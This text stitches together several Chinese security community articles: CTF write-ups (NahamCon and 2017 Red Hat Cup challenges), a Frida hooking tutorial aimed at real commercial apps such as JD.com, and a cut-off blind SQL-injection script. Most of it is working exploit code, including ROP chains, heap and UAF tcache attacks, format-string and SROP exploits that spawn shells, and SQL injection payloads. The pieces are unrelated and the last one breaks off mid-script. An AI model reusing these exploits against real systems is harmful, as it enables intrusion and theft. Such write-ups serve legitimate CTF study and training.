list_address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x150
log.success("list address is {}".format(hex(list_address)))
sort(11, 1)
sort(1, 14)
p.recvuntil("1. ")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 243 - libc.sym['__libc_start_main']
log.success("libc address is {}".format(hex(libc.address)))
sort(14, 1)
sort(1, 18)
p.recvuntil("1. ")
elf.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x139f
log.success("elf address is {}".format(hex(elf.address)))
sort(18, 1)
p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
yn_offset = int(((elf.address + 0x4030 - list_address) & 0xffffffffffffffff) // 8) + 2
overflow(14, p_rdi_r)
overflow(15, libc.search(b"/bin/sh").__next__())
overflow(16, p_rsi_r)
overflow(17, 0)
overflow(18, p_rdx_r12_r)
overflow(19, 0)
overflow(20, 0)
overflow(21, libc.sym['execve'])
sort(1, 1, True)
p.interactive()
## Rock Paper Scissors
首先来看一下程序的整体逻辑
void real_main()
{
unsigned int v0; // eax
int v1; // [rsp+4h] [rbp-Ch] BYREF
int v2; // [rsp+8h] [rbp-8h]
char v3; // [rsp+Fh] [rbp-1h]
v3 = 1;
v0 = time(0LL);
srand(v0);
while ( v3 )
{
v2 = rand() % 3 + 1;
menu();
__isoc99_scanf(off_404028, &v1);
getchar();
if ( v2 == v1 )
puts("Congrats you win!!!!!");
else
puts("You lose!");
putchar(10);
printf("Would you like to play again? [yes/no]: ");
read(0, &s2, 0x19uLL);
if ( !strcmp("no\n", &s2) )
{
v3 = 0;
}
else if ( !strcmp("yes\n", &s2) )
{
v3 = 1;
}
else
{
puts("Well you didn't say yes or no..... So I'm assuming no.");
v3 = 0;
}
memset(&s2, 0, 4uLL);
}
}
目测起来没有什么不对的地方，但是我们看一下`scanf`的格式化字符串
.data:0000000000404010 ; char s2
.data:0000000000404010 s2 db 1 ; DATA XREF: real_main+C1↑o
.data:0000000000404010 ; real_main+D2↑o ...
.data:0000000000404011 align 20h
.data:0000000000404020 dq offset unk_402008
.data:0000000000404028 off_404028 dq offset unk_40200B ; DATA XREF: real_main+5F↑r
.data:0000000000404028 _data ends
发现存储格式化字符串地址的位置和`s2`紧邻，而`s2`可以读取`0x19`字节长度的字符串，也就是说我们可以覆写`off_404028`的低一字节。
看一下格式化字符串附近的东西
.rodata:0000000000402007 db 0
.rodata:0000000000402008 unk_402008 db 25h ; % ; DATA XREF: .data:0000000000404020↓o
.rodata:0000000000402009 db 73h ; s
.rodata:000000000040200A db 0
.rodata:000000000040200B unk_40200B db 25h ; % ; DATA XREF: .data:off_404028↓o
.rodata:000000000040200C db 64h ; d
看到其低地址出存在一个`%s`，也就是我们可以将`%d`更换为`%s`。也就是将程序中的
__isoc99_scanf("%d", &v1);
更改为
__isoc99_scanf("%s", &v1);
也就是构造出了一个栈溢出的漏洞。那么接下来就是`rop`链的构造。
这里我是先利用`puts`函数泄漏出`libc`的基地址，接着利用`csu`调用`read`函数向`bss`段中写入新的`rop`链，接着进行栈迁移，将栈地址迁移到`bss`段中，执行新的`rop`进而`getshell`。
# encoding=utf-8
from pwn import *
file_path = "./rps"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x401451")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('challenge.nahamcon.com', 30002)
libc = ELF('./libc-2.31.so')
csu_start = 0x401506
csu_end = 0x4014F0
bss_address = 0x404050
leave_r = 0x0000000000401451
p_rbp_r = 0x000000000040127d
def csu_call(address, arg0, arg1, arg2):
ret = p64(csu_start) + p64(0)*2 + p64(1) + p64(arg0) + p64(arg1) + p64(arg2)
ret += p64(address) + p64(csu_end)
return ret
p.sendlineafter("Rock-Paper-Scissors? [y/n]: ", "y")
p.sendlineafter("> ", "1")
p.sendafter("again? [yes/no]: ", b"yes\n".ljust(0x18, b"\x00") + b"\x08")
p_rdi_r = 0x0000000000401513
payload = b"a" * 0xc + p64(bss_address)
payload += p64(p_rdi_r) + p64(elf.got['read'])
payload += p64(elf.plt['puts'])
payload += csu_call(elf.got['read'], 0, bss_address, 0x100)
payload += p64(0)*7
payload += p64(p_rbp_r) + p64(bss_address) + p64(leave_r)
p.sendlineafter("> ", payload)
p.sendafter("again? [yes/no]: ", b"no\n")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.sym['read']
log.success("libc address is {}".format(hex(libc.address)))
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
exp = p64(0) + p64(p_rdi_r) + p64(libc.search(b"/bin/sh\x00").__next__())
exp += p64(p_rsi_r) + p64(0) + p64(p_rdx_r12_r) + p64(0)*2
exp += p64(libc.sym['execve'])
p.sendline(exp)
p.interactive()
## Empty Read
这是一个`32`位的程序。
首先我们看一下程序的整体逻辑。程序一共提供了`4`种功能和一个用来查看远程`libc`版本的`debug`选项。这四个功能分别是`add,edit,show,delete`。依次来看一下，首先是`add`函数。
puts("\tUser index to add:");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index > 9 || user_list[index] )
{
puts("\tInvalid user index!");
}
else
{
user_list[index] = (struct my_user *)malloc(8u);
if ( !user_list[index] )
goto LABEL_6;
memset(buf, 0, sizeof(buf));
puts("\tUser email length:");
read(0, buf, 4u);
email_length = atoi(buf);
if ( email_length <= 0 || email_length > 512 )
email_length = 512;
user_list[index]->email_length = email_length;
v0 = user_list[index];
v0->email = (int)malloc(v0->email_length);
if ( user_list[index]->email )
{
puts("\tUser email:");
length = read(0, (void *)user_list[index]->email, user_list[index]->email_length);
if ( length <= 0 )
*(_BYTE *)user_list[index]->email = 0;
else
*(_BYTE *)(user_list[index]->email + length) = 0;
}
else
{
LABEL_6:
puts("\tSomething went wrong, try again!");
}
}
首先是申请了一个`0x10`大小的`user`结构体用来存放堆块指针。然后根据用户指定的大小，申请了相应大小的堆块。将`size`和堆块指针写入到了结构体中。这里很明显的存在一个`off-by-one`漏洞。
`show`函数则是根据用户给定的`index`输出了堆块的内容，`delete`删除了堆块，并将`user_list`相应位置清空。接下来看一下`edit`函数。
unsigned int edit()
{
unsigned int result; // eax
int index; // [esp+0h] [ebp-18h]
ssize_t length; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
puts("\tUser index to edit:");
read(0, buf, 4u);
index = atoi(buf);
if ( index >= 0 && index <= 9 && user_list[index] )
{
puts("\tUser email:");
length = read(0, *(void **)(user_list[index] + 4), *(_DWORD *)user_list[index]);
if ( length <= 0 )
**(_BYTE **)(user_list[index] + 4) = 0;
else
*(_BYTE *)(*(_DWORD *)(user_list[index] + 4) + length) = 0;
printf("\tUser %d updated\n", index);
}
else
{
puts("\tInvalid user index!");
}
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_FF0();
return result;
}
这里就是根据用户在`add`中设置的堆块大小对堆块的内容进行重新编辑。这里也存在一个`off-by-one`的漏洞。
那么接下来整体的思路就是利用`off-by-one`构造堆重叠。进而泄漏出`libc`地址。再次利用堆重叠（这里主要是防止高版本的`libc2.27`的影响）构造出堆溢出，覆写`tcache->fd`指针指向`free_hook`，进而覆写`free_hook`为`system`，`getshell`。
# encoding=utf-8
from pwn import *
file_path = "./chall"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('challenge.nahamcon.com', 30770)
libc = ELF('./libc-2.27.so')
def add(index, size, content=b"1"):
p.sendlineafter("---------\n", "add")
p.sendlineafter("index to add:\n", str(index))
p.sendlineafter("email length:\n", str(size))
p.sendafter("User email:\n", content)
def show():
p.sendlineafter("---------\n", "print")
def edit(index, content):
p.sendlineafter("---------\n", "edit")
p.sendlineafter("index to edit:\n", str(index))
p.sendafter("User email:\n", content)
def delete(index):
p.sendlineafter("---------\n", "delete")
p.sendlineafter("index to delete:\n", str(index))
for i in range(10):
add(i, 0x8)
for i in range(10):
delete(i)
for i in range(10):
add(i, 0xfc)
for i in range(7):
delete(3 + i)
delete(0)
edit(1, b"a" * 0xf8 + p32(0x200))
delete(2)
for i in range(7):
add(3+i, 0xfc)
add(0, 0xfc)
show()
p.recvuntil("User 1 email: ")
libc.address = u32(p.recv(4)) - 0x38 - 0x18 - libc.sym['__malloc_hook']
for i in range(7):
delete(3 + i)
delete(0)
for i in range(7):
add(3+i, 0xfc, b"/bin/sh")
log.success("libc address is {}".format(hex(libc.address)))
# gdb.attach(p, "b *$rebase(0xE23)")
add(0, 0x130)
edit(0, b"a"*0xfc + p32(0x101) + p32(libc.sym['__free_hook']))
delete(3)
delete(1)
edit(0, b"a"*0xfc + p32(0x101) + p32(libc.sym['__free_hook']))
add(1, 0xfc)
add(2, 0xfc, p32(libc.sym['system']))
delete(4)
p.interactive()
## Meddle
首先来看一下程序的整体逻辑。程序一共提供了四种功能`add,show,rate,delete`。分别来看一下，首先是`add`函数。
int add_album()
{
int v0; // eax
__int64 v1; // rcx
struct album **v2; // rax
struct album *v4; // [rsp+8h] [rbp-8h]
if ( count > 17 )
{
LODWORD(v2) = puts("no more albums :(");
}
else
{
v4 = (struct album *)malloc(0x84uLL);
printf("enter album name: ");
fgets(v4->name, 0x50, stdin);
printf("enter artist name: ");
fgets(v4->artlist, 0x30, stdin);
v0 = count++;
v1 = v0;
v2 = albums_list;
albums_list[v1] = v4;
}
return (int)v2;
}
申请了一个固定大小的堆块`0x90`，其结构体如下
00000000 album struc ; (sizeof=0x84, mappedto_8)
00000000 rate dd ?
00000004 name db 80 dup(?)
00000054 artlist db 48 dup(?)
00000084 album ends
接着根据用户的输入设置了`name,artlist`字符数组的内容。`show`函数则是直接输出了结构体中的内容。`rate`函数则是设置了`rate`成员变量的值。接着看一下`delete`函数。
void delete_album()
{
int v0; // [rsp+Ch] [rbp-4h]
printf("what album would you like to delete? ");
v0 = getnum();
if ( v0 < 0 || v0 >= count )
puts("invalid index :(");
else
free(albums_list[v0]);
}
很明显的存在`UAF`漏洞。
这里的漏洞利用就很简单了，首先是利用`UAF`泄漏出`libc`基地址，然后再次利用`UAF`覆写`tcache->fd`指针为`free_hook`，接着覆写`free_hook`为`system`。
有点麻烦的就是写入`fd`和值的时候需要分为两个四字节来写。
# encoding=utf-8
from pwn import *
file_path = "./meddle"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('challenge.nahamcon.com', 31490)
libc = ELF('./libc-2.27.so')
def add(name=b"11111111\n", artlist=b"222222222\n"):
p.sendlineafter("> ", "1")
p.sendafter("album name: ", name)
p.sendafter("artist name: ", artlist)
def show(index):
p.sendlineafter("> ", "2")
p.sendlineafter("like to view? ", str(index))
def rate(index, value):
p.sendlineafter("> ", "3")
p.sendlineafter("you like to rate? ", str(index))
p.sendlineafter("to rate this album? ", str(value))
def delete(index):
p.sendlineafter("> ", "4")
p.sendlineafter("you like to delete? ", str(index))
def get_address():
p.recvuntil("album name: ")
hig = u16(p.recvline().strip())
p.recvuntil("ratings: ")
address = (int(p.recvline().strip()) & 0xffffffff) + (hig << 32)
return address
def set_value(index, value):
add(name=p32(value >> 32) + b"\n") # 11
rate(index, value & 0xffffffff)
for i in range(8):
add()
for i in range(7):
delete(1 + i)
# gdb.attach(p, "b *$rebase(0xD14)")
delete(0)
show(0)
libc.address = get_address() - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
show(7)
heap_address = get_address()
log.success("heap address is {}".format(hex(heap_address)))
add() # 8
set_value(9, 0x68732f6e69622f)
add() # 10
delete(8)
delete(7)
set_value(11, libc.sym['__free_hook'])
add()
set_value(13, libc.sym['system'])
delete(9)
p.interactive() | 社区文章 |
# 基础
在开始编写hook的脚本之前，需要知道搭配frida进行hook常见js方法
## 一、基础框架
// 写js代码hook java代码
java.perform(function(){
var utils = Java.use('要hook的类名');
var class = Java.use('java.lang.Class')
// hook 普通方法
utils.类的方法名.implementation = funtion( 方法的参数a,b ){
console.log(a); // 输出信息 参数a 也可使用 arguments[0] 输出方法的参数
send(); // 也可输出信息
// this 表示当前类
return this.xxx方法; // 为hook的代码返回值，可以是当前方法，也可以是其他
}
}
## 二、重载方法
// hook 重载方法
utils.类的方法名.overload(填写重载方法参数类型(若非常规类型，需填写该类型完整位置，如com.xx.xx.自定义类)如："int","java.lang.String").implementation = funtion( 方法的参数a,b ){
console.log(a); // 输出信息 参数a 也可使用 arguments[0] 输出方法的参数
send(); // 也可输出信息
// this 表示当前类
return this.xxx方法; // 为hook的代码返回值，可以是当前方法，也可以是其他
}
## 三、构造对象参数（即创建一个对象）
// hook 构造对象参数（即创建一个对象）
utils.$init.implementation = funtion( 方法的参数a,b ){
console.log(a); // 输出信息 参数a 也可使用 arguments[0] 输出方法的参数
send(); // 也可输出信息
// 创建utils对象，可将该对象传递给hook的方法，有些方法的参数是对象类型，需要创建对应的对象
var cls = utils.$new(参数);
// this 表示当前类
return this.xxx方法; // 为hook的代码返回值，可以是当前方法，也可以是其他
}
## 四、类属性
// hook 类属性
utils.$init.implementation = funtion( 方法的参数a,b ){
console.log(a); // 输出信息 参数a 也可使用 arguments[0] 输出方法的参数
send(); // 也可输出信息
// 获取类属性的值
var val = $utils.属性.value;
$utils.属性.value = val
// 也可通过反射的方法获取类属性的值
var val = Java.cats(获取到对应的类utils.getClass(),clazz).getDeclaredField(要hook的属性);
// 设置属性可访问
val.setAccessible(true);
var value = val.get(从哪个类中获取utils);
val.set(为哪个类中设置utils,value);
// this 表示当前类
return this.xxx方法; // 为hook的代码返回值，可以是当前方法，也可以是其他
}
以上四种为在处理常见的app进行编写hook的过程中会用到的方法（有一些app例外，需要用到其他frida提供的api等共同进行hook）
# 案例
## 案例1
一个直播软件的抓包以及对其中的通信过程中加密的字符串进行解密和hook，该软件为没有加壳。
通过最开始的单独抓包可得到jsonstr的明显的特征
把这个明显的字符为撕破口这app中进行全局的搜索
点开看到代码
从代码中可以看出这个jsonstr是从方法multipartEntity.addPart中添加进去，通过刚刚抓到的包可以猜测的出jsonstr后的那一串加密数据是来自
new StringBody(a2, Charset.forName("UTF-8"))
追踪函数的调用看到了，这里就是对数据进行加密处理之后的数据a2
String a2 = com.showself.f.a.a(str2, Utils.h());
跟踪com.showself.f.a.a方法，在方法中看不出啥。接着对class a中对方法a的b进行追踪
来到了com.showself.f.b下的方法b
看到数据就是通过这里进行加密之后传送过去,而key的方法为
既然知道了整个的加密过程，接下来就开始编写hook。
知道com.showself.f.b.b(java.lang.String)，是加密前的数据。因此对其进行hook，完整的hook脚本为
function hook() {
Java.perform(function () {
var b=Java.use("com.showself.f.b");
b.b.overload("java.lang.String").implementation= function(a){
console.log(a);
var ret=this.b(a)
return a;
}
});
}
setImmediate(hook);
## 案例二
一个没有加壳的动漫软件app
### 分析点
在放到夜神模拟器进行抓包，看到的数据包中均存在App-Info参数的字眼。在观察数据包的发现其可能存在对用户校验判断的数据在里面。
同时该app存在的SSL校验，在之后的测试中已经绕过。
### 参数分析
以该参数为搜索点，通过全局搜索，在AppInfoModel的class中。
最终定位到了该class下进行了重写
是通过base64进行加密
而其中的visitor_sign参数
跟踪跳转到
其中MDUtils方法，为md5加密
通过objection得到方法a的值
直接将参数进行解密会因为复杂性而无法解密得出来，对加密前的原参数进行跟踪
#### Client.p()
通过运行是参数的获取
得到其方法的值为A:34f770f3177f0146
#### Client.o()
通过运行是参数的获取
得到其方法的值为34f770f3177f0146
### 验证
由a2可以得到在加密前的值为visiter=A:34f770f3177f0146&y-device=34f770f3177f0146经过在线的md5进行加密之后
## 案例三
来自对京东的算法进行分析。
### 目标
安卓版本10.0.2，对其进行抓包并探索sign签名算法
### 分析
通过全局搜索sign=
在com.jingdong.sdk.gatewaysign和com.jingdong.jdsdk.network.toolbox中发现对sign的操作
由此直接hook最先的加密的class，即javax.crypto.spec.SecretKeySpec
hook构造函数，和普通的函数是有区别的，要用$init这种形式，并且要return this.$init(arg1,arg2)调用原始的函数实现
function hook(){
Java.perform(function (){
var hookclass = Java.use("javax.crypto.spec.SecretKeySpec");
hookclass.$init.overload('[B','java.lang.String').implementation = function (a,b){
var result = this.$init(a,b);
console.log("算法为： "+ b);
console.log(a);
return result;
}
});
}
setImmediate(hook);
通过返回得知
>>>算法为： HmacSHA256
>>>51,52,54,54,57,99,54,54,97,101,56,51,52,53,55,97,57,97,56,101,55,98,52,100,48,52,49,55,102,48,50,102
>>>算法为： AES
>>>92,71,-78,37,6,27,-125,-92,21,103,84,15,88,-112,-80,45
将算法为HmacSHA256进行加密得到
aed1ebaab9e61fcc51ec0ab97fb522f13deea2b57958533c4bd511871806d5b0
这与抓到的位数不同
### 另寻他路
通过全局搜索没有找到组装reqest参数的代码，判断组装代码在so文件中。在so文件libjdbitmapkit.so,通过全局搜索sign的关键词，得到了
在逐一查看的时候，发现地址00012EB0和00012C4E都写到了该调用的代码
### 最终
在方法中发现其调用者
即Java_com_jingdong_common_utils_BitmapkitUtils_getSignFromJni
在这个function中追踪到了代码包com.jingdong.common.utils，而调用该方法的getSignFromJni
因此，hook为
function hook(){
Java.perform(function (){
var hookclass = Java.use('com.jingdong.common.utils.BitmapkitUtils');
hookclass.getSignFromJni.implementation = function(a,b,c,d,e,f){
var result = this.getSignFromJni(a,b,c,d,e,f);
console.log(">>> hook = " + b + ' / ' + c + ' / ' + d + ' / ' + d + ' / ' + f + ' \n rc= ' + result);
return result;
}
});
}
setImmediate(hook); | 社区文章 |
# 【CTF 攻略】2017 广东省红帽杯网络安全攻防大赛 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：[ **Ni9htMar3**](http://bobao.360.cn/member/contribute?uid=2887893216)**
**预估稿费：400RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**赛事介绍**
**2017年第一届“广东省红帽杯网络安全攻防大赛”**
，由广东省公安厅网警总队指导、广东省计算机信息网络安全协会主办，华南理工大学承办，北京永信至诚科技股份有限公司协办。本次比赛的目的是加快高校网络安全学科专业建设，创新网络安全人才培养机制，提升全社会网络安全意识。
本次比赛要求参赛队员具备基本的计算机理论和实践基础。其中涉及到的考试范围包括：安全技能相关逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等。为了取得较好的成绩，系统学习网络攻防知识，所有参赛选手在赛前均可获得免费的比赛辅导课程，详情请参考[
**参赛手册**](http://www.scut.edu.cn/redhat2017/register/images/guide.docx)。
**
**
**签到**
扫码按操作即得
**brian(Y)**
打开题目，发现是一段字符：
+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< ++++[ ->--- -<]>- ----- .<+++ +++[- >---- --<]>
----- ----- -.+.- ..--- ---.. <++++ +++[- >++++ +++<] >.<++ +++++ [->-- ----- <]>-- -.+++ .++++ ++.<+ +++++ [->++ ++++< ]>+++ +++++ .<+++ +++[- >---- --<]> ----- ----- .---- ---.+ +++++ +.<++ ++++[ ->+++ +++<] >++++
+++++ .<+++ +++[- >---- --<]> ----- ----- -.--. ---.< +++++ ++[-> +++++
++<]> ++++. <++++ +++[- >---- ---<] >.+++ +.+++ +.<++ +[->- --<]> ---.<
+++++ ++[-> +++++ ++<]> +++++ +.<++ ++++[ ->--- ---<] >---- ----- --.+.
-.-.. ---.+ +++.< +++++ +[->+ +++++ <]>++ +++++ ++++. <++++ +++[- >---- ---<] >---. <++++ +++[- >++++ +++<] >++.< +++++ +[->- ----- <]>-- ----- ----- .<+++ +++++ [->++ +++++ +<]>+ +++++ ++++. <
其实我是用解密网站直接搞
奈何队友很坚定的学原理、编程序
将以上文本内容保存为brian(Y).bf
观察可以发现每五个字符为一组，尝试上网搜索几个不同的字符分组后，发现为brainfuck这种编程语言，利用C语言编写的brainfuck解释器，运行代码得到结果。
解释器代码如下：
#define LEN 50000
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
FILE *input = fopen(argv[1], "r");
char source[LEN] = {0};
char runtime[LEN] = {0};
char *sptr, *wptr;
int pos = 0;
int wflag = 0;
int line = 1, col = 0, wline, wcol;
sptr = source;
while (wflag || EOF!=fscanf(input, "%c", sptr))
{
if (!wflag)
++col;
else
++wcol;
switch (*sptr)
{
case '>' :
++pos;
break;
case '<' :
if (--pos <0)
{
printf("%d : %d : ERROR: Illegal pointer valuen", line, col);
return 1;
}
break;
case '+' :
++runtime[pos];
if (runtime[pos] < 0 || runtime[pos] > 255)
{
if (!wflag)
printf("%d : %d : ERROR: Illegal valuen", line, col);
else
printf("%d : %d : ERROR: Illegal valuen", wline, wcol);
return 1;
}
break;
case '-' :
--runtime[pos];
if (runtime[pos] < 0 || runtime[pos] > 255)
{
if (!wflag)
printf("%d : %d : ERROR: Illegal valuen", line, col);
else
printf("%d : %d : ERROR: Illegal valuen", wline, wcol);
return 0;
}
break;
case '.' :
putchar(runtime[pos]);
break;
case ',' :
runtime[pos]=getchar();
break;
case '[' :
if (runtime[pos])
wptr = sptr-1;
else
wflag = 0;
wline = line;
wcol = col;
break;
case ']' :
sptr = wptr;
wflag = 1;
line = wline;
col = wcol;
break;
case 'n' :
if (!wflag)
{
++line;
col = 0;
}
else
{
++wline;
wcol = 0;
}
break;
}
++sptr;
}
fclose(input);
return 0;
}
编译后得到exe程序，命令行指令：bf.exe brian(Y).bf
结果如下：
flag{e676600a-06b4-4a20-b159-d5654415d0c3}
**WEB**
**刮刮乐**
打开
是.git泄露，直接使用lijiejie脚本
flag{027ea8c2-7be2-4cec-aca3-b6ba400759e8}
**PHPMyWIND**
额，一开始做出来，密码是000000还两次md5加密。。。没啥用，后来写wp改密码啦。。。
反正扫描没啥东西，找下它的漏洞，经过一番测试感觉order.php有问题
发现这个漏洞：[http://0day5.com/archives/1442/](http://0day5.com/archives/1442/)
测试吧，加两个cookie先试试能找到点不能，发现订单
可以，按照他的走就行
找到密文解密即可
访问
后台
打开后
用户名admin，密码不知道，但提示是2017和时间，那就是2017XXXX，用burpsuite爆破即可
**thinkseeker**
打开，index.php~找到重要代码
<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |'|"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
parse_str($_SERVER['QUERY_STRING']);
if($token==md5("admin")){
$link=@mysql_connect("XXXX","XXXX","XXXX");
mysql_select_db("XXXX",$link);
$sql="select * from user where userid = ".$userid;
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$arr = mysql_fetch_array($query);
if($arr['password'] == $password) {
$sql="select * from info where infoid=".$infoid;
$result=mysql_query($sql);
$arr = mysql_fetch_array($result);
if(empty($arr['content'])){
echo "error sql!";
}else{
echo $arr['content'];
}
}else{
echo "error password!";
}
}else{
echo "error userid!";
}
mysql_close($link);
}else{
echo "Bad token!";
}
?>
<html>
<head>
<title>web-test</title>
</head>
<body>
<form action="" method="get">
User ID:<input type="text" name="userid" length="50" /><br>
Password:<input type="password" name="password" length="50" /><br>
<input type="submit" value="submit"/>
</form>
</body>
</html>
过滤了非常多的东西，比如空格，,什么的，也不用管，只要select,from,ascii,substr有就可以尝试盲注，不过看代码还是先试一下传参
由于传入的参数没有用引号，所以不用管闭合问题，直接用%0a绕过
token可以直接用admin的md5变量覆盖，然后一开始infoid=1%0aor%0a1=1置真就行，然后由于userid只能有一个值，且由于password不知道原来的，没办法绕过，这样就想到了一个姿势
网址：（<https://raz0r.name/other/phdays-2013-ctf-blade-writeup/> ）
可以用with
rollup，这个是统计组的信息，若没用任何统计函数(sum,avg…)，多出的那一行的password列只能是NULL,所以之后password传参无就可以。
得到了一句提示，猜测是列名表名，先测试一下构造语句
可以知道当后面语句为真的时候返回的是flag is in flag!
脚本
import requests
dic='{}@#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM'
string = ''
for i in range(1,40):
for j in dic:
url = 'http://106.75.117.4:3083/?token=21232f297a57a5a743894a0e4a801fc3&userid=1%0a||%0a1%0agroup%0aby%0apassword%0awith%0arollup%0alimit%0a1%0aoffset%0a1&password=&infoid=1%0a%26%26%0aascii(substr((select%0aflag%0afrom%0aflag)from({0})))={1}'.format(i,ord(j))
#print url
s=requests.get(url=url)
text = s.content
#print text
if "flag" in text:
string += j
print string
break
print string
**PWN**
**pwn1**
一个简单的栈溢出，开了nx防护，要用rop，因为32位系统加上pwntools的使用，利用组件rop即可。
from pwn import *
#context.log_level = 'debug'
binary = ELF('./pwn1')
p = remote('106.75.93.221', 10000)
p.recvline()
rop = ROP(binary)
rop.call(0x08048410,(0x08048629, 0x0804A040))
rop.system(0x0804A040)
payload = str(rop)
p.sendline('a'*52 + payload )
p.sendline('/bin/sh')
p.interactive()
**pwn2**
下载文件后，IDA分析
明显的格式化字符串漏洞。
利用思路：（re2libc）
1.首先，泄漏system的地址，这里我使用pwntools 的 DnyELF
2.然后，将printf函数的GOT表项，覆写为system 的地址，这样再次调用printf时，实际会调用system
3.最后，再次循环执行的时候，利用read 读入，/bin/sh字符串，这样printf('/bin/sh') , 会变成
system('/bin/sh')
EXP：
from pwn import *
#io = process('./pwn2_')
io =remote('106.75.93.221', 20003)
elf = ELF('./pwn2_')
#context.log_level = 'debug'
def leak(addr):
payload = 'BB%9$s'
payload += 'AA'
payload += p32(addr)
io.sendline(payload)
io.recvuntil('BB')
content = io.recvuntil('AA')
if(len(content) == 2):
print '[*] NULL'
return 'x00'
else:
print '[*] %#x ---> %s' % (addr, (content[0:-2] or '').encode('hex'))
return content[0:-2]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2_'))
libc_addr = d.lookup(None, 'libc')
log.info('libc_addr:' + hex(libc_addr))
d = DynELF(leak, libc_addr)
system_addr = d.lookup('system')
log.info('system_addr:' + hex(system_addr))
#-------- change GOT
printf_got = elf.got['printf']
log.info(hex(printf_got))
payload = fmtstr_payload(7, {printf_got: system_addr})
io.sendline(payload)
payload = '/bin/shx00'
io.sendline(payload)
io.interactive()
**pwn4**
必须使用SROP，关于SROP请自行google
思路如下:
需要利用read的返回值条用其他的syscall
需要利用write泄露栈地址
需要利用read将/bin/sh写入到stack一个我们已知的地址中
需要stack pivot到一个我们已知的地址
最后调用execve("/bin/sh")
理清楚劫持程序流后的流程就可以，exp如下:
#! python
from pwn import *
context.binary = './pwn4'
io = process('./pwn4')
io = remote('106.75.66.195', 11006)
#leak stack addr
payload = p64(0x4000b0)
payload += p64(0x4000b3)
payload += p64(0x4000b0)
io.sendline(payload)
io.send('xb3')
sleep(2)
LeakMsg = io.recvn(0x400)
leak_addr = u64(LeakMsg[0x8:0x8+8])
log.info("leak_addr:"+hex(leak_addr))
stack_addr = leak_addr-0x500
log.info("stack_addr:"+hex(stack_addr))
binsh_addr = stack_addr+0x300
log.info("binsh_addr:"+hex(binsh_addr))
#write /bin/sh to stack
syscall_addr = 0x4000be
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
payload1 = p64(0x4000b0)+p64(syscall_addr) #signturn
payload1 += str(frame)
io.sendline(payload1)
sleep(2)
io.send(payload1[0x8:0x8+15])
sleep(2)
#execve("/bin/sh")
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rip = syscall_addr
payload2 = p64(0x4000b0)+p64(syscall_addr)
payload2 += str(frame)
payload2 += 'a' * (0x300-len(payload2)) + '/bin/shx00'
io.sendline(payload2)
sleep(2)
io.send(payload2[0x8:0x8+15])
sleep(2)
io.interactive()
**pwn5**
这题使用了canary防护，但是是送分题，利用报错输出就可以，爆破因为之前已经将flag地址读到程序中还是bss段，直接栈上喷上flag的地址就可以拿到flag。
from pwn import *
context.log_level = 'debug'
#p = process('./pwns')
p = remote('106.75.93.221',10003)
p.recv()
payload = p32(0x0804A080)*100
p.sendline(payload)
p.recv()
p.recv() | 社区文章 |
刚打完这个比赛，整理了一下队伍的wp，感谢大手子们带飞，不得不说密码学的题属实有点难了，清华的大师傅都差点没做出来
# web
## SimpleBlog
主页提示和成绩为0有关
登录进去看到提示:
可能是二次注入或者文件包含，但是怎么都没找到文件包含的点
有答题的界面 分数是随机的，就算点同一个选项也不会是相同的分数，但是成绩不会是0
测试在用户名为 admin'时，注册登录后答题分数时0，但是有#号不会是0，猜想只有数据库逻辑错误分数才会是0
可以用布尔盲注，但是对于报错的方法，我用的是exp(),可以本地测试一下
图中可以知道 extractvalue在逻辑上总会报错，无论前面条件是否正确
而exp只有在前面条件正确时才会报错,根据这一点 写出脚本
import requests,re
import string
register_url = "http://210.32.4.20/register.php"
login_url = "http://210.32.4.20/login.php"
answer_url = "http://210.32.4.20/answer.php"
guess = "}{_"+string.digits+string.ascii_letters+"!@#$"
flag = ""
for i in range(1,50):
print "round: "+ str(i)
for j in guess:
print "[+]testing: "+j
tmp = ord(j)
payload = "1' and if((ascii(substr((select flag from flag),{},1))={}),exp(~(select * from(select user())a)),1)#"
print payload.format(i,tmp)
data1 = {
